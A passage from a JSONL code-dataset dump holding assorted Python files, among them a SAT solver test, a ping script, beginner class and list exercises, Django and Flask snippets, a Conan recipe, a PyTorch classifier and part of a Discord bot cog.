)\n","sub_path":"netbox/users/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"25989231","text":"import os\nos.system(\"sudo pip3 install -e /home/jdw/projects/sugarrush/code/\")\n\nfrom sugarrush.solver import SugarRush\n\nwith SugarRush() as solver:\n X = [solver.var() for _ in range(6)]\n cnf = [X[:3], X[3:]]\n p, equiv = solver.indicator(cnf)\n print(equiv)\n solver.add(equiv)\n solver.add([p])\n solver.add([[-x] for x in X[:-1]])\n res = solver.solve()\n print(\"Satisfiable:\", res)\n if res:\n print(solver.solution_values(X))\n print(solver.solution_value(p))","sub_path":"garageofcode/testing/test_sugarrush.py","file_name":"test_sugarrush.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"405169462","text":"import os\nimport threading\n\n\nstri = '192.168.1.'\n\n##def check_ip():\n## for i in range(160,170):\n## new_str = stri + str(i)\n## print(new_str)\n## list.append(new_str)\n##check_ip()\n##print(list)\n##\n##uptime = []\n##uptime_data= []\n##\n##def ping(f):\n## response = os.system(f\"ping -n 1 {f}\")\n## return response\n##\n##x= 0\n##while x < 2:\n## with open(\"olttest.txt\",\"r\") as fname:\n## for f in fname:\n## thread = threading.Thread(target=ping, args=(f,))\n## thread.start()\n## response = ping(f)\n## if response == 0:\n## print(f\"{f} is up\\n\")\n## \n## else:\n## print(f\"{f} is down\\n\")\n## if f in uptime:\n## continue\n## else:\n## uptime.append(f)\n## x= x+1\n## print(x)\n##print(uptime)\n##\n\n\nimport concurrent.futures\n\nhosts = ['ganamnagar','gthankot']\ndef ping(name):\n response = os.system(f\"ping -n 1 {name}\")\n if response == 0:\n print(\"up\")\n\nexecutor = concurrent.futures.ThreadPoolExecutor(254)\nping_hosts = [executor.submit(ping, str(ip)) for ip in hosts]\nprint(ping_hosts)\n\n","sub_path":"test1thread.py","file_name":"test1thread.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"411035233","text":"class Restaurant():\n\n def __init__(self, restaurant_name, cuisine_type, number_served=0):\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n self.number_served = number_served\n\n def describe_restaurant(self):\n print(f\"餐厅名字是 {self.restaurant_name}\")\n print(f\"餐厅类型是 {self.cuisine_type}\")\n\n def open_restaurant(self):\n print(f\"{self.restaurant_name} 正在营业!\")\n\n def set_number_served(self, served):\n \"\"\" 设置就餐人数 \"\"\"\n if served < 0:\n print('禁止设置为负数')\n else:\n self.number_served = served\n return self.number_served\n\n def increment_number_served(self, served):\n \"\"\" 增加就餐人数 \"\"\"\n if served < 0:\n print('禁止设置为负数')\n else:\n self.number_served += served\n return self.number_served\n\n\nrestaurant1 = Restaurant('张三餐厅', '川菜')\nrestaurant1.describe_restaurant()\nprint('餐馆现在就餐人数{}'.format(restaurant1.set_number_served(10)))\nprint('餐馆扩容后的就餐人数{}'.format(restaurant1.increment_number_served(10)))\nprint('-------------------------')\n\nrestaurant2 = Restaurant('李四餐厅', '湘菜', 20)\nrestaurant2.describe_restaurant()\nprint('餐馆现在就餐人数{}'.format(restaurant2.set_number_served(12)))\nprint('餐馆扩容后的就餐人数{}'.format(restaurant2.increment_number_served(32)))\nprint('-------------------------')\n\nrestaurant3 = Restaurant('王麻子餐厅', '粤菜', 30)\nrestaurant3.describe_restaurant()\nprint('餐馆现在就餐人数{}'.format(restaurant3.set_number_served(54)))\nprint('餐馆扩容后的就餐人数{}'.format(restaurant3.increment_number_served(105)))\nprint('-------------------------')","sub_path":"09/9.2/restaurant.py","file_name":"restaurant.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"320884412","text":"# -*- coding: utf-8 -*-\nimport inspect\n\nimport os\nfrom django.utils.translation import ugettext_lazy as _\n\n\ndef make_countries_tuples():\n tuple_string = ''\n with open(os.path.join(os.path.dirname(inspect.getfile(inspect.currentframe())), 'list_of_countries'), 'r') as f:\n for row in f.readlines():\n title = row.split(',')[0]\n tuple_string += '(\"' + title.replace(\" \", \"_\").replace('\"','').lower() + '\", _(u\"' + title.replace('\"','') + '\")),\\n'\n print(tuple_string)\n\nmake_countries_tuples()\n","sub_path":"countries/management/commands/make_tuples.py","file_name":"make_tuples.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"87946467","text":"# -*- coding: utf-8 -*-\nimport os, sys\n\ncurrent_file_path = os.path.dirname(__file__)\nsys.path.append(os.path.realpath(os.path.join(current_file_path, '../../')))\nfrom config import GlobalVariable, branch\nfrom jsonschema import validate\nimport time\nimport requests\nimport json\nimport unittest\nreload(sys)\nsys.setdefaultencoding('utf-8')\nargs = branch.get_args()\nbranch = args[0]\n\ndef request(variable):\n\turl = variable[\"url\"]\n\tteam_uuid = variable[\"team_uuid\"]\n\tproject_uuid = variable[\"project_uuid\"]\n\tsprint_uuid = variable[\"sprint_uuid\"]\n\tfield_uuid = \"Vz5HYStX\"\n\towner_uuid = variable[\"owner_uuid\"]\n\towner_token = variable[\"owner_token\"]\n\n\tapi_url = \"%s/team/%s/project/%s/sprint/%s/sprint_field/%s/update\" %(url,team_uuid,project_uuid,sprint_uuid,field_uuid)\n\theaders = {\n\t\t\"Ones-Auth-Token\": \"%s\" %(owner_token),\n\t\t\"Ones-User-Id\": \"%s\" %(owner_uuid)\n\t}\n\tbody = {\n\t\t\"field_value\":{\n\t\t\t\"value\": \"PW8S9arv\"\n\t\t}\n\t}\n\tprint(headers)\n\tr = requests.post(api_url,headers = headers,data = json.dumps(body))\n\treturn r\n\nclass TestGroupSort(unittest.TestCase):\n\tdef setUp(self):\n\t\t# self.setting = GlobalVariable(\"./config/setting.json\").json\n\t\t# self.global_variable = GlobalVariable(\"./config/variable_%s.json\" %(self.setting[\"branch\"]))\n\t\tself.global_variable = GlobalVariable(\"./config/variable_%s.json\" %(branch))\n\t\tself.variable = self.global_variable.json\n\t\tself.request = request(self.variable)\n\t\tself.status_code = self.request.status_code\n\t\tself.response_json = self.request.json()\n\n\tdef test_result_200(self):\n\t\t#status code\n\t\tself.assertEqual(200,self.status_code)\n\t\tif(self.status_code != 200):\n\t\t\treturn self.status_code\n\n\t\t#response body\n\t\tapi_schema = GlobalVariable(\"./api_schema/sprint/update_field_value_200.json\").json\n\t\tvalidate(self.response_json, api_schema)\n\n\t\t# write to json file\n\t\tself.global_variable.write()\n\t\twith open('response.json','w') as f:\n\t\t\tf.write(self.request.text)\n\n\tdef teardown(self):\n\t\tpass\n\t\t\n\ndef main():\n\tunittest.main(argv=args[1])\n\t\nif __name__ == '__main__':\n\tmain()","sub_path":"module/sprint/update_field_value.py","file_name":"update_field_value.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"125793820","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import with_statement\n\nfrom gevent import monkey; monkey.patch_all()\nfrom gevent import queue\nfrom gevent.pywsgi import WSGIServer\n\nimport time\nfrom hashlib import md5\nfrom datetime import datetime\nimport string\nimport random\nimport redis\nimport re\n\nfrom flask import Flask, request, session, redirect, url_for, \\\n abort, render_template, flash, escape, jsonify #, g,\n#from werkzeug import check_password_hash, generate_password_hash\n\nfrom conf import *\n\nr = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=REDIS_DB)\n\napp = Flask(__name__)\napp.config.from_object(__name__)\n#app.config.from_envvar('APP_SETTINGS', silent=True)\napp.debug = DEBUG\n\n\ndef get_random_string(size=7, chars=string.letters):\n return ''.join(random.choice(chars) for x in xrange(size))\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef welcome():\n if request.method == 'POST':\n post_content = request.form['info-content']\n find_tags = re.findall('#\\S+\\s',post_content)\n tags = [x.lstrip('#').rstrip(' ') for x in find_tags]\n post_pid = r.incr('post:pid:next')\n r.set('post:pid:%s' % post_pid, post_content)\n for tag in tags:\n r.sadd('post:tags', tag)\n r.sadd('post:tag:%s' % tag, post_pid)\n return jsonify(status='success')\n return render_template('welcome.html')\n\n\n@app.route('/api/tag///data.json')\ndef api_tag_data(tags, n):\n tags = tags.split('+')\n #latest_pid = r.get('post:pid:next') - 1\n tags_pids_lists_names = ['post:tag:%s' % tag for tag in tags]\n tags_pids = r.sinter(tags_pids_lists_names)\n tags_pids = list(tags_pids)\n tags_pids.sort()\n tags_pids.reverse()\n selected_pids = tags_pids[0:n]\n pipe = r.pipeline()\n for pid in selected_pids:\n pipe.get('post:pid:%s' % pid)\n contents = pipe.execute()\n return jsonify(\n n = n,\n p = contents\n )\n\n\nif __name__ == '__main__':\n if app.debug == True:\n app.run(host=HOST, port=PORT)\n else:\n http = WSGIServer((HOST, PORT), app)\n http.serve_forever()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"338149495","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('main', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Tag',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=200, verbose_name='Имя')),\n ],\n options={\n 'verbose_name': 'Тэг',\n 'verbose_name_plural': 'Тэги',\n },\n ),\n migrations.AddField(\n model_name='article',\n name='tags',\n field=models.ManyToManyField(to='main.Tag', verbose_name='Тэги'),\n ),\n ]\n","sub_path":"main/migrations/0002_auto_20160207_2113.py","file_name":"0002_auto_20160207_2113.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"415027424","text":"import matplotlib.pyplot as plt\nyear = [2015,2016,2017,2018,2019]\ncity1 = [128,150,199,180,150]\nplt.plot(year, city1, 'r-.s', lw=2, ms=10, label=\"台北\")\ncity2 = [120,145,180,170,120]\nplt.plot(year, city2, 'g--*', lw=2, ms=10, label=\"台中\")\nplt.legend()\nplt.ylim(50, 250)\nplt.xticks(year)\nplt.title(\"銷售報表\", fontsize=18)\nplt.xlabel(\"年度\", fontsize=12)\nplt.ylabel(\"百萬\", fontsize=12)\n# 設定中文字型及負號正確顯示\nplt.rcParams[\"font.sans-serif\"] = \"mingliu\" #也可設SimHei或DFKai-SB或Microsoft JhengHei\nplt.rcParams[\"axes.unicode_minus\"] = False\nplt.show()\n","sub_path":"_4.python/__code/Python自學聖經(第二版)/ch13/plot9.py","file_name":"plot9.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"422043366","text":"# sorting a list from low to high\nexpenses = [27.5, 8.3, 19.7, 15.1, 24.2]\nexpenses.sort()\nprint(expenses)\n\nanimals = [\"camel\", \"bear\", \"goat\", \"dolphin\"]\nanimals.sort()\nprint(animals)\n\n# sorting a list from high to low\naverages = [2, 30, 98, 47, 29, 8]\naverages.sort(reverse=True)\nprint(averages)\n\n# reversing the order of the elements in a list\nmeals = [\"breakfast\", \"lunch\", \"dinner\"]\nmeals.reverse()\nprint(meals)\n\n# removing the first occurrence of an element\nsnacks = [\"pizza\", \"wings\", \"soda\", \"chips\", \"soda\"]\nsnacks.remove(\"soda\")\nprint(snacks)\n\n# removing an element at an index and returning it\ndrinks = [\"tea\", \"coffee\", \"cookie\", \"juice\"]\npastry = drinks.pop(2)\nprint(pastry)\nprint(drinks)\n\n# removing an element at a specified index\nvegetables = [\"celery\", \"watermelon\", \"carrots\", \"broccoli\"]\ndel vegetables[1]\nprint(vegetables)\n\n# removing several elements at once, using slicing\nchemicals = [\"Na\", \"He\", \"Si\", \"Ca\", \"Au\", \"Pb\"]\ndel chemicals[1:4]\nprint(chemicals)\n\n# the number of times that an element occurs in a list\ncheatcode =[\"up\", \"up\", \"down\", \"down\", \"down\", \"left\", \"right\"]\nrepeat = cheatcode.count(\"down\")\nprint(repeat)\n\n# the index location of the first occurrence of an element\nflavour = [\"salt\", \"cheese\", \"vinegar\", \"bbq\", \"vinegar\"]\nposition = flavour.index(\"vinegar\")\nprint(position)\n","sub_path":"07Lists/listrearranging.py","file_name":"listrearranging.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"214952898","text":"import os\n\nfrom conans import ConanFile, AutoToolsBuildEnvironment, tools\n\n\nclass libpcapConan(ConanFile):\n name = 'libpopt'\n version = '1.6'\n url = 'https://github.com/wsbu/conan-packages'\n description = 'the LIBpcap interface to various kernel packet capture mechanism'\n settings = 'os', 'compiler', 'build_type', 'arch'\n license = 'BSD'\n default_on_features = [\n 'dependency_tracking',\n 'shared',\n 'fast_install',\n 'libtool_lock',\n 'rpath',\n 'nls'\n ]\n optional_packages = [\n 'with_gnu_ld',\n 'with_included_gettext'\n ]\n\n options = {feature: [True, False] for feature in default_on_features + optional_packages}\n\n default_options = ['%s=True' % feature for feature in default_on_features]\n default_options += ['%s=False' % package for package in optional_packages]\n default_options = tuple(default_options)\n\n def source(self):\n self.run('git clone --depth=1 git@bitbucket.org:redlionstl/libpopt.git -b dev')\n\n def build(self):\n source_dir = os.path.join(self.build_folder, self.name, 'popt-' + self.version)\n build_dir = os.path.join(self.build_folder, 'build')\n os.mkdir(build_dir)\n\n args = ['--prefix=/']\n for feature in self.default_on_features:\n if not self.options.__getattr__(feature):\n args.append('--disable-' + feature.replace('_', '-'))\n for package in self.optional_packages:\n optional = '' if self.options.__getattr__(package) else '=no'\n args.append('--{0}{1}'.format(package.replace('_', '-'), optional))\n\n env = AutoToolsBuildEnvironment(self)\n with tools.chdir(build_dir):\n env.configure(configure_dir=source_dir, args=args)\n env.make(args=['-C', build_dir])\n\n def package(self):\n build_dir = os.path.join(self.build_folder, 'build')\n self.run('make -C {0} DESTDIR={1} install'.format(build_dir, self.package_folder))\n\n def package_info(self):\n self.cpp_info.libs = [\n 'pcap'\n ]\n\n def configure(self):\n del self.settings.compiler.libcxx\n super(libpcapConan, self).configure()\n","sub_path":"libpopt/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"272160182","text":"'''\n\nFEEDFORWARD NEURAL NETWORK ON BOARD DATASET\n\nAUTHOR: ABIJITH J. KAMATH\nabijithj@iisc.ac.in\n\n'''\n\n# %% LOAD LIBRARIES\n\nimport os\nimport argparse\nimport numpy as np\n\nimport torch\nfrom torch import nn as nn\nfrom tqdm import tqdm\n\nfrom matplotlib import style\nfrom matplotlib import rcParams\nfrom matplotlib import pyplot as plt\n\nimport nonlinear_tools\nimport utils\n\n# %% PLOT SETTINGS\n\nplt.style.use(['science','ieee'])\n\nplt.rcParams.update({\n \"font.family\": \"serif\",\n \"font.serif\": [\"cm\"],\n \"mathtext.fontset\": \"cm\",\n \"font.size\": 24})\n\n# %% PARSE ARGUMENTS\nparser = argparse.ArgumentParser(\n description = \"FEEDFORWARD NEURAL NETWORK WITH ONE HIDDEN LAYER ON BOARD DATASET\"\n)\n\nparser.add_argument('--dataset', help=\"dataset for training and testing\", default='Board0')\nparser.add_argument('--training_size', help=\"size of training set\", type=int, default=1000)\nparser.add_argument('--method', help=\"method of optimisation\", default='Adam')\nparser.add_argument('--num_epochs', help=\"number of epochs\", type=int, default=100)\nparser.add_argument('--force_train', help=\"force training\", type=bool, default=False)\n\nargs = parser.parse_args()\n\ndatafile = args.dataset\ntraining_size = args.training_size\ntraining_method = args.method\nnum_epochs = args.num_epochs\nforce_train = args.force_train\n\n# %% LOAD DATASET\n\n# datafile = 'Board0'\ndataset = utils.Board(datafile)\n\ntrain_samples, test_samples, train_labels, test_labels = \\\n utils.train_test_splitter(dataset.samples, dataset.labels)\n\nnum_train_samples, input_dim = train_samples.shape\noutput_dim = len(np.unique(train_labels))\n\ntrain_samples = utils.numpy_to_torch(train_samples)\ntest_samples = utils.numpy_to_torch(test_samples)\ntrain_labels = utils.numpy_to_torch(train_labels).type(torch.LongTensor)\ntest_labels = utils.numpy_to_torch(test_labels).type(torch.LongTensor)\n\n# %% MODEL PARAMETERS\n\nhidden_dim = 10000\nnum_classes = output_dim\n# num_epochs = 1000\n# training_method = 'SGD'\n\nmodel = nonlinear_tools.feedforward_network(input_dim, hidden_dim, output_dim)\ncriterion = nn.CrossEntropyLoss()\n\nif training_method == 'SGD':\n learning_rate = 0.01\n optimiser = torch.optim.SGD(model.parameters(), lr=learning_rate)\nelif training_method == 'Adam':\n learning_rate = 0.01\n mom_weights = (0.9, 0.999)\n optimiser = torch.optim.Adam(model.parameters(), lr=learning_rate,\n betas=mom_weights)\n\n# %% TRAINING\n\n# force_train = False\n# training_size = 2000\n\nos.makedirs('./../models/ex2', exist_ok=True)\npath = './../models/ex2/'\n\nif os.path.isfile(path + 'model_NN_dataset_' + datafile + '_size_' + \\\n str(training_size) + '_method_' + str(training_method) + '.pth') and force_train==False:\n\n print('PICKING PRE-TRAINED MODEL')\n model = torch.load(path + 'model_NN_dataset_' + datafile + '_size_' + \\\n str(training_size) + '_method_' + str(training_method) + '.pth')\n model.eval()\n\nelse:\n np.random.seed(34)\n random_idx = np.random.randint(num_train_samples, size=training_size)\n\n print('TRAINING IN PROGRESS...')\n\n training_error = np.zeros(num_epochs)\n for epoch in tqdm(range(num_epochs)):\n\n # Forward pass\n outputs = model(train_samples[random_idx])\n loss = criterion(outputs, train_labels[random_idx])\n training_error[epoch] = loss.item()\n \n # Backward and optimize\n optimiser.zero_grad()\n loss.backward()\n optimiser.step()\n \n if (epoch+1) % num_epochs/10 == 0:\n print (f'Epoch [{epoch+1}/{num_epochs}], Loss: {loss.item():.4f}')\n \n torch.save(model, path + 'model_NN_dataset_' + datafile + '_size_' + \\\n str(training_size) + '_method_' + str(training_method) + '.pth')\n print('TRAINING COMPLETE!')\n \n\n# %% TESTING\n\nwith torch.no_grad():\n # Predictions on test data\n outputs = model(test_samples)\n _, predictions = torch.max(outputs.data, 1)\n confusion_mtx = np.zeros((num_classes, num_classes))\n for i in range(num_classes):\n for j in range(num_classes):\n confusion_mtx[i,j] = sum((test_labels==i) & (predictions==j))\n\n accuracy = sum(np.diag(confusion_mtx))/sum(sum(confusion_mtx)) * 100\n\n # Predictions on mesh\n num_samples = 100\n x1, x2 = np.meshgrid(np.linspace(-1, 1, num_samples), \\\n np.linspace(-1, 1, num_samples))\n x1 = x1.astype(np.float32)\n x2 = x2.astype(np.float32)\n mesh_samples = np.array([x1, x2]).reshape(2, -1).T\n mesh_samples = utils.numpy_to_torch(mesh_samples)\n\n mesh_labels = model(mesh_samples)\n _, mesh_labels = torch.max(mesh_labels.data, 1)\n mesh_labels = mesh_labels.reshape(num_samples, num_samples)\n\n# %% PLOTS\n\nos.makedirs('./../results/ex2', exist_ok=True)\npath = './../results/ex2/'\n\nplt.figure(figsize=(8,8))\nax = plt.gca()\nsave_res = path + 'samples_NN_dataset_' + datafile + '_size_' + str(training_size)\\\n + '_method_' + str(training_method)\nnp.random.seed(34)\nrandom_idx = np.random.randint(num_train_samples, size=1000)\nplt.contourf(x1, x2, mesh_labels, alpha=0.2, levels=np.linspace(0, 5, 100))\nutils.plot_data2D(train_samples[random_idx], train_labels[random_idx], ax=ax,\n xlimits=[-1,1], ylimits=[-1,1], show=False, save=save_res)\n\nplt.figure(figsize=(8,8))\nax = plt.gca()\nsave_res = path + 'accuracy_NN_dataset_' + datafile + '_size_' + str(training_size)\\\n + '_method_' + str(training_method)\nutils.plot_confusion_matrix(confusion_mtx, ax=ax, map_min=0, map_max=1000,\n title_text=r'ACCURACY: %.2f %%'%(accuracy), show=False, save=save_res)\n\nplt.figure(figsize=(8,8))\nax = plt.gca()\nsave_res = path + 'loss_NN_dataset_' + datafile + '_size_' + str(training_size)\\\n + '_method_' + str(training_method)\nutils.plot_signal(np.arange(1,num_epochs+1), training_error, ax=ax,\n xaxis_label=r'EPOCHS', yaxis_label=r'TRAINING ERROR', xlimits=[0,num_epochs],\n ylimits=[0,20], show=False, save=save_res)\n\n# %%\n","sub_path":"src/cls_board.py","file_name":"cls_board.py","file_ext":"py","file_size_in_byte":5871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"426534587","text":"import discord\nfrom discord.ext import commands\nfrom __main__ import settings, botdata, invite_link, httpgetter\nfrom cogs.utils.helpers import *\nfrom cogs.utils.botdata import UserInfo\nfrom cogs.utils import checks, botdatatypes\nfrom cogs.audio import AudioPlayerNotFoundError\nfrom sqlalchemy import func\nimport cogs.utils.loggingdb as loggingdb\nimport string\nimport random\nimport datetime\nimport wikipedia\nimport html\nfrom bs4 import BeautifulSoup, Tag\nfrom io import BytesIO\nimport re\nimport praw\nimport os\nfrom .mangocog import *\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef load_words():\n\twords = {}\n\tfor root, dirs, files in os.walk(settings.resource(\"words/\")):\n\t\tfor file in files:\n\t\t\twith open(os.path.join(root, file), 'r') as f:\n\t\t\t\ttext = f.read()\n\t\t\tkey, ext = os.path.splitext(file)\n\t\t\twords[key] = text.split(\"\\n\")\n\treturn words\n\n\n# fills a template with the words of the type asked for\ndef fill_word_template(template, words):\n\tdef replace(match):\n\t\tparts = match.group(1).split(\":\")\n\t\tkeys = parts[0].split(\"|\")\n\t\tvalues = []\n\t\tfor key in keys:\n\t\t\tvalues += words[key]\n\n\t\tif len(parts) > 1:\n\t\t\tif \"NOSPACE\" in parts[1]:\n\t\t\t\tvalues = list(filter(lambda w: \" \" not in w, values))\n\n\t\treturn random.choice(values)\n\n\treturn re.sub(r\"\\{([^}]+)\\}\", replace, template)\n\n\nclass General(MangoCog):\n\t\"\"\"Basic and admin commands\n\n\tRandom and/or fun commands with a variety of uses\"\"\"\n\tdef __init__(self, bot):\n\t\tMangoCog.__init__(self, bot)\n\t\tself.donation_link = \"https://www.paypal.me/dillerm\"\n\t\tself.reactions = read_json(settings.resource(\"json/reactions.json\"))\n\t\tself.questions = read_json(settings.resource(\"json/questions.json\"))\n\t\tself.subscripts = read_json(settings.resource(\"json/subscripts.json\"))\n\t\tself.superscripts = read_json(settings.resource(\"json/superscripts.json\"))\n\t\tself.showerthoughts_data = read_json(settings.resource(\"json/showerthoughts.json\"))\n\t\tself.words = load_words()\n\n\t@commands.command()\n\tasync def userconfig(self, ctx, name, *, value = None):\n\t\t\"\"\"Configures the bot's user-specific settings\n\n\t\tBelow are the different user-specific settings that you can tweak to customize mangobyte. You can get more information about a setting by typing `{cmdpfx}userconfig `, and you can configure a setting by typing `{cmdpfx}userconfig `\n\n\t\t{userconfig_help}\n\t\t\"\"\"\n\t\tvar = next((v for v in UserInfo.variables if v[\"key\"] == name), None)\n\t\tif not var:\n\t\t\tvars_list = \"\\n\".join(map(lambda v: f\"`{v['key']}`\", UserInfo.variables))\n\t\t\tawait ctx.send(f\"There is no userconfig setting called '{name}'. Try one of these:\\n{vars_list}\")\n\t\t\treturn\n\n\t\t\n\t\tif not value: # We are just getting a value\n\t\t\tvalue = botdata.userinfo(ctx.message.author)[var[\"key\"]]\n\t\t\tawait ctx.send(embed=await botdatatypes.localize_embed(ctx, var, value, f\"{self.cmdpfx(ctx)}userconfig\"))\n\t\telse: # We are setting a value\n\t\t\tvalue = await botdatatypes.parse(ctx, var, value)\n\t\t\tbotdata.userinfo(ctx.message.author)[var[\"key\"]] = value\n\t\t\tawait ctx.message.add_reaction(\"✅\")\n\n\t@commands.command()\n\tasync def ping(self, ctx, count : int=1):\n\t\t\"\"\"Pongs a number of times(within reason)\n\n\t\tPongs... a number of times.... within reason. *glares at blanedale*\"\"\"\n\t\tif count < 1:\n\t\t\tawait ctx.send(\"thats not enough pings. stahp trying to break me.😠\")\n\t\t\treturn\n\t\tif count > 20:\n\t\t\tawait ctx.send(\"thats too many pings. stahp trying to break me.😠\")\n\t\t\treturn\n\n\t\tping_string = \"\"\n\t\tfor i in range(0, count):\n\t\t\tping_string += \"pong \"\n\t\tawait ctx.send(ping_string)\n\n\t@commands.command()\n\tasync def echo(self, ctx, *, message : str):\n\t\t\"\"\"Echo...\n\n\t\tI would hurl words into this darkness and wait for an echo, and if an echo sounded, no matter how faintly, I would send other words to tell, to march, to fight, to create a sense of the hunger for life that gnaws in us all\"\"\"\n\t\tawait ctx.send(message)\n\n\t@commands.command()\n\tasync def changelog(self, ctx):\n\t\t\"\"\"Gets a rough changelog for mangobyte\n\n\t\tNote that this is a very rough changelog built from git commit messages and so will sometimes not relate directly to your perspective.\n\n\t\tFor more commit versions or better detailed information, check out the source on [GitHub](https://github.com/mdiller/MangoByte/commits/master)\n\t\t\"\"\"\n\t\tcommit_url = \"https://github.com/mdiller/MangoByte\"\n\t\tdescription = f\"For more information check out the [commit history]({commit_url}/commits/master) on GitHub\\n\"\n\t\tlines = get_changelog().split(\"\\n\")\n\n\t\trecent_date = 0\n\n\t\tfor line in lines:\n\t\t\tif line == \"\":\n\t\t\t\tcontinue\n\t\t\tcommit = line.split(\",\")\n\t\t\tfull_sha = commit[0]\n\t\t\ttimestamp = int(commit[1])\n\t\t\tsmall_sha = commit[2]\n\t\t\tmessage = \",\".join(commit[3:])\n\t\t\tif timestamp > recent_date:\n\t\t\t\trecent_date = timestamp\n\t\t\tdescription += f\"\\n[`{small_sha}`]({commit_url}/commit/{full_sha}) {message}\"\n\n\t\tif recent_date != 0:\n\t\t\tembed = discord.Embed(description=description, color=discord.Color.green(), timestamp=datetime.datetime.utcfromtimestamp(recent_date))\n\t\t\tembed.set_footer(text=\"Most recent change at\")\n\t\telse:\n\t\t\tembed = discord.Embed(description=description, color=discord.Color.green())\n\n\t\tembed.set_author(name=\"Changelog\", url=f\"{commit_url}/commits/master\")\n\t\tawait ctx.send(embed=embed)\n\n\t@commands.command()\n\tasync def info(self, ctx):\n\t\t\"\"\"Prints info about mangobyte\"\"\"\n\t\tgithub = \"https://github.com/mdiller/MangoByte\"\n\t\tpython_version = \"[Python {}.{}.{}]({})\".format(*os.sys.version_info[:3], \"https://www.python.org/\")\n\t\tdiscordpy = \"https://github.com/Rapptz/discord.py\"\n\n\t\tembed = discord.Embed(description=\"The juiciest unsigned 8 bit integer you eva gonna see\", color=discord.Color.green())\n\n\t\tembed.set_author(name=self.bot.user.name, icon_url=self.bot.user.avatar_url, url=github)\n\n\t\tembed.add_field(name=\"Development Info\", value=(\n\t\t\t\"Developed as an open source project, hosted on [GitHub]({}). \"\n\t\t\t\"Implemented using {} and a python discord api wrapper [discord.py]({})\".format(github, python_version, discordpy)))\n\n\t\tcmdpfx = self.cmdpfx(ctx)\n\t\tembed.add_field(name=\"Features\", value=(\n\t\t\tf\"• Answers questions (`{cmdpfx}ask`)\\n\"\n\t\t\tf\"• Plays audio clips (`{cmdpfx}play`, `{cmdpfx}dota`)\\n\"\n\t\t\tf\"• Greets users joining a voice channel\\n\"\n\t\t\tf\"• For a list of command categories, try `{cmdpfx}help`\"))\n\n\t\thelp_guild_link = \"https://discord.gg/d6WWHxx\"\n\n\t\tembed.add_field(name=\"Help\", value=(\n\t\t\tf\"If you want to invite mangobyte to your server/guild, click this [invite link]({invite_link}). \"\n\t\t\tf\"If you have a question, suggestion, or just want to try out mah features, check out the [Help Server/Guild]({help_guild_link}).\"))\n\n\t\tembed.add_field(name=\"Donate\", value=(\n\t\t\tf\"If you want to donate money to support MangoByte's server costs, click [here]({self.donation_link})\"))\n\n\t\towner = (await self.bot.application_info()).owner\n\n\t\tembed.set_footer(text=\"MangoByte developed by {}\".format(owner.name), icon_url=owner.avatar_url)\n\n\t\tawait ctx.send(embed=embed)\n\n\t@commands.command()\n\tasync def invite(self, ctx):\n\t\t\"\"\"Prints the invite link\"\"\"\n\t\tawait ctx.send(invite_link)\n\n\t@commands.command()\n\tasync def botstats(self, ctx):\n\t\t\"\"\"Displays some bot statistics\"\"\"\n\n\t\tawait ctx.send(\"Due to scaling issues with my stats, I'm disabling use of this command for now. Going to rework the way it works, and enable it after thats done\")\n\t\treturn\n\n\t\tembed = discord.Embed(color=discord.Color.green())\n\n\t\tembed.set_author(name=self.bot.user.name, icon_url=self.bot.user.avatar_url)\n\n\t\tembed.add_field(name=\"Servers/Guilds\", value=\"{:,}\".format(len(self.bot.guilds)))\n\t\tembed.add_field(name=\"Registered Users\", value=\"{:,}\".format(len(list(filter(lambda user: user.steam, botdata.userinfo_list())))))\n\n\t\tcommands = loggingdb_session.query(loggingdb.Message).filter(loggingdb.Message.command != None)\n\t\tcommands_weekly = commands.filter(loggingdb.Message.timestamp > datetime.datetime.utcnow() - datetime.timedelta(weeks=1))\n\t\tembed.add_field(name=\"Commands\", value=f\"{commands.count():,}\")\n\t\tembed.add_field(name=\"Commands (This Week)\", value=f\"{commands_weekly.count():,}\")\n\n\t\tcmdpfx = self.cmdpfx(ctx)\n\t\ttop_commands = loggingdb_session.query(loggingdb.Message.command, func.count(loggingdb.Message.command)).filter(loggingdb.Message.command != None).group_by(loggingdb.Message.command).order_by(func.count(loggingdb.Message.command).desc())\n\t\tif top_commands.count() >= 3:\n\t\t\tembed.add_field(name=\"Top Commands\", 